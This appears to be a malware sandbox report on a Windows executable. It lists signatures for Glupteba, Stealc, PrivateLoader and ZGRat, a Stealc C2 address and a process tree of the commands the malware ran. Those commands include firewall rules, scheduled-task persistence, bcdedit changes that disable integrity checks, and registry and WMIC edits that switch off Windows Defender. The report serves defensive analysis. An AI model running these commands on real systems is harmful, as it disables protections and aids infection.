Overview

overview

10

Static

static

1

716741d858...6d.exe

windows7-x64

10

716741d858...6d.exe

windows10-2004-x64

9

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    11-05-2024 01:30

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    716741d85859c7c4747395deb709dc0b4b2741a0d15850aa3a706cc05d61bf6d.exe

  • Size

    2.7MB

  • MD5

    d2f812118c89341715fbff0ba9530396

  • SHA1

    8e9cfa2ebe51e9f71d55b161fb13aae13ee3744f

  • SHA256

    716741d85859c7c4747395deb709dc0b4b2741a0d15850aa3a706cc05d61bf6d

  • SHA512

    7a1884c5b2130db511f318103ece6ae1499c1e877e4dfc39d6c83b762febea258b5921fa72ae3b413ecfc752b571b2ce33f6fa1f680461d94fc3d2f1988d6c77

  • SSDEEP

    24576:tRoBHi3buy4toE1jC6Ayo2xhWLbSPlqRvc68XzRVGvQB5VA0UC1dUUKj/LZ8j3gy:boKmo4jC6Tov2RUC1doj/wgy

Score
10/10
gluptebaprivateloaderstealczgratdiscoverydropperevasionexecutionloaderpersistenceratrootkitspywarestealertrojan

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 18 IoCs
  • Modifies firewall policy service 2 TTPs 1 IoCs
    evasion
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Windows security bypass 2 TTPs 50 IoCs
    evasiontrojan
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Detect binaries embedding considerable number of MFA browser extension IDs. 3 IoCs
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 3 IoCs
  • Detects Windows executables referencing non-Windows User-Agents 18 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 3 IoCs
  • Detects encrypted or obfuscated .NET executables 1 IoCs
  • Detects executables (downlaoders) containing URLs to raw contents of a paste 3 IoCs
  • Detects executables Discord URL observed in first stage droppers 18 IoCs
  • Detects executables built or packed with MPress PE compressor 3 IoCs
  • Detects executables containing URLs to raw contents of a Github gist 18 IoCs
  • Detects executables containing artifacts associated with disabling Widnows Defender 18 IoCs
  • Detects executables referencing many varying, potentially fake Windows User-Agents 18 IoCs
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 4 IoCs
    evasion
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

    evasion
  • Checks BIOS information in registry 2 TTPs 3 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 9 IoCs
  • Executes dropped EXE 24 IoCs
  • Loads dropped DLL 54 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 10 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops Chrome extension 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

    rootkitevasion
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Drops file in System32 directory 29 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 4 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 13 IoCs
  • Drops file in Windows directory 16 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 13 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 11 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\716741d85859c7c4747395deb709dc0b4b2741a0d15850aa3a706cc05d61bf6d.exe
    "C:\Users\Admin\AppData\Local\Temp\716741d85859c7c4747395deb709dc0b4b2741a0d15850aa3a706cc05d61bf6d.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2604
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
      2⤵
      • Drops startup file
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2356
      • C:\Users\Admin\Pictures\4sWnU0wQAskWJTfSlsH9U3hc.exe
        "C:\Users\Admin\Pictures\4sWnU0wQAskWJTfSlsH9U3hc.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2808
        • C:\Users\Admin\AppData\Local\Temp\u260.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u260.0.exe"
          4⤵
          • Blocklisted process makes network request
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1276
        • C:\Users\Admin\AppData\Local\Temp\u260.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u260.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:496
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1200
      • C:\Users\Admin\Pictures\JrVA2qkWsRIwgDDQTli24ocf.exe
        "C:\Users\Admin\Pictures\JrVA2qkWsRIwgDDQTli24ocf.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1516
        • C:\Users\Admin\Pictures\JrVA2qkWsRIwgDDQTli24ocf.exe
          "C:\Users\Admin\Pictures\JrVA2qkWsRIwgDDQTli24ocf.exe"
          4⤵
          • Windows security bypass
          • Executes dropped EXE
          • Loads dropped DLL
          • Windows security modification
          • Adds Run key to start application
          • Checks for VirtualBox DLLs, possible anti-VM trick
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          PID:2716
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
              PID:2304
              • C:\Windows\system32\netsh.exe
                netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                6⤵
                • Modifies Windows Firewall
                PID:1936
            • C:\Windows\rss\csrss.exe
              C:\Windows\rss\csrss.exe
              5⤵
              • Drops file in Drivers directory
              • Executes dropped EXE
              • Loads dropped DLL
              • Adds Run key to start application
              • Manipulates WinMon driver.
              • Manipulates WinMonFS driver.
              • Drops file in Windows directory
              • Modifies system certificate store
              • Suspicious use of AdjustPrivilegeToken
              PID:2580
              • C:\Windows\system32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                6⤵
                • Creates scheduled task(s)
                PID:2312
              • C:\Windows\system32\schtasks.exe
                schtasks /delete /tn ScheduledUpdate /f
                6⤵
                  PID:2564
                • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                  "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Modifies system certificate store
                  PID:1516
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1540
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1740
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:2440
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:2284
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:2732
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:2504
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:2988
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1608
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:496
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:2436
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1212
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\system32\bcdedit.exe -timeout 0
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:2868
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:3024
                • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                  C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                  6⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:688
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\Sysnative\bcdedit.exe /v
                  6⤵
                  • Modifies boot configuration data using bcdedit
                  PID:948
                • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                  C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                  6⤵
                  • Executes dropped EXE
                  PID:484
                • C:\Windows\system32\schtasks.exe
                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                  6⤵
                  • Creates scheduled task(s)
                  PID:900
                • C:\Windows\windefender.exe
                  "C:\Windows\windefender.exe"
                  6⤵
                  • Executes dropped EXE
                  PID:808
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                    7⤵
                      PID:1616
                      • C:\Windows\SysWOW64\sc.exe
                        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                        8⤵
                        • Launches sc.exe
                        PID:2404
            • C:\Users\Admin\Pictures\cDiIavfqWrpnS0iHKZ8fDMF8.exe
              "C:\Users\Admin\Pictures\cDiIavfqWrpnS0iHKZ8fDMF8.exe"
              3⤵
              • Modifies firewall policy service
              • Executes dropped EXE
              • Drops file in System32 directory
              PID:1064
            • C:\Users\Admin\Pictures\VfLzmWTLvyweTq0v1WLfh7Aa.exe
              "C:\Users\Admin\Pictures\VfLzmWTLvyweTq0v1WLfh7Aa.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1932
              • C:\Users\Admin\Pictures\VfLzmWTLvyweTq0v1WLfh7Aa.exe
                "C:\Users\Admin\Pictures\VfLzmWTLvyweTq0v1WLfh7Aa.exe"
                4⤵
                • Windows security bypass
                • Executes dropped EXE
                • Windows security modification
                • Adds Run key to start application
                • Checks for VirtualBox DLLs, possible anti-VM trick
                • Drops file in Windows directory
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                PID:1152
                • C:\Windows\system32\cmd.exe
                  C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                  5⤵
                    PID:2876
                    • C:\Windows\system32\netsh.exe
                      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                      6⤵
                      • Modifies Windows Firewall
                      PID:2272
              • C:\Users\Admin\Pictures\ukPumXTJ0ym1KZNVw81dlDoo.exe
                "C:\Users\Admin\Pictures\ukPumXTJ0ym1KZNVw81dlDoo.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2436
                • C:\Users\Admin\Pictures\ukPumXTJ0ym1KZNVw81dlDoo.exe
                  "C:\Users\Admin\Pictures\ukPumXTJ0ym1KZNVw81dlDoo.exe"
                  4⤵
                  • Windows security bypass
                  • Executes dropped EXE
                  • Windows security modification
                  • Adds Run key to start application
                  • Checks for VirtualBox DLLs, possible anti-VM trick
                  • Drops file in Windows directory
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2404
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                    5⤵
                      PID:1772
                      • C:\Windows\system32\netsh.exe
                        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                        6⤵
                        • Modifies Windows Firewall
                        • Modifies data under HKEY_USERS
                        PID:1700
                • C:\Users\Admin\Pictures\NvC1UgpT18l2K69FIZrpuKy1.exe
                  "C:\Users\Admin\Pictures\NvC1UgpT18l2K69FIZrpuKy1.exe"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:908
                  • C:\Users\Admin\Pictures\NvC1UgpT18l2K69FIZrpuKy1.exe
                    "C:\Users\Admin\Pictures\NvC1UgpT18l2K69FIZrpuKy1.exe"
                    4⤵
                    • Windows security bypass
                    • Executes dropped EXE
                    • Windows security modification
                    • Adds Run key to start application
                    • Checks for VirtualBox DLLs, possible anti-VM trick
                    • Drops file in Windows directory
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1940
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                      5⤵
                        PID:1968
                        • C:\Windows\system32\netsh.exe
                          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                          6⤵
                          • Modifies Windows Firewall
                          PID:1256
                  • C:\Users\Admin\Pictures\DSucaf4oxD6cw4ozhE5yyreO.exe
                    "C:\Users\Admin\Pictures\DSucaf4oxD6cw4ozhE5yyreO.exe"
                    3⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:760
                    • C:\Users\Admin\AppData\Local\Temp\7zS7455.tmp\Install.exe
                      .\Install.exe /tEdidDDf "385118" /S
                      4⤵
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Enumerates system info in registry
                      • Suspicious use of WriteProcessMemory
                      PID:3060
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1960
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                          6⤵
                            PID:2764
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                              7⤵
                                PID:1828
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                  8⤵
                                    PID:2840
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                6⤵
                                  PID:1540
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                    7⤵
                                      PID:1428
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                        8⤵
                                          PID:1772
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                      6⤵
                                        PID:2024
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                          7⤵
                                            PID:1708
                                            • \??\c:\windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                              8⤵
                                                PID:1716
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                            6⤵
                                              PID:2116
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                7⤵
                                                  PID:2328
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                    8⤵
                                                      PID:1900
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                  6⤵
                                                    PID:1508
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                      7⤵
                                                        PID:2040
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                          8⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Drops file in System32 directory
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1104
                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                            9⤵
                                                              PID:1636
                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                      5⤵
                                                        PID:1168
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                          6⤵
                                                            PID:688
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                              7⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Drops file in System32 directory
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:288
                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                8⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:668
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 01:31:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\fcHIQxS.exe\" it /jqcdiduSSz 385118 /S" /V1 /F
                                                          5⤵
                                                          • Drops file in Windows directory
                                                          • Creates scheduled task(s)
                                                          PID:2536
                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
                                                          5⤵
                                                            PID:2808
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                              6⤵
                                                                PID:1164
                                                                • \??\c:\windows\SysWOW64\schtasks.exe
                                                                  schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                  7⤵
                                                                    PID:1968
                                                          • C:\Users\Admin\Pictures\cehWyndSj3dmd9sQfdwHz6DQ.exe
                                                            "C:\Users\Admin\Pictures\cehWyndSj3dmd9sQfdwHz6DQ.exe"
                                                            3⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            PID:2280
                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8594.tmp\Install.exe
                                                              .\Install.exe /tEdidDDf "385118" /S
                                                              4⤵
                                                              • Checks BIOS information in registry
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • Enumerates system info in registry
                                                              PID:1672
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                5⤵
                                                                  PID:1652
                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                    6⤵
                                                                      PID:2424
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                        7⤵
                                                                          PID:2480
                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                            8⤵
                                                                              PID:1492
                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                          forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                          6⤵
                                                                            PID:1748
                                                                            • C:\Windows\SysWOW64\cmd.exe
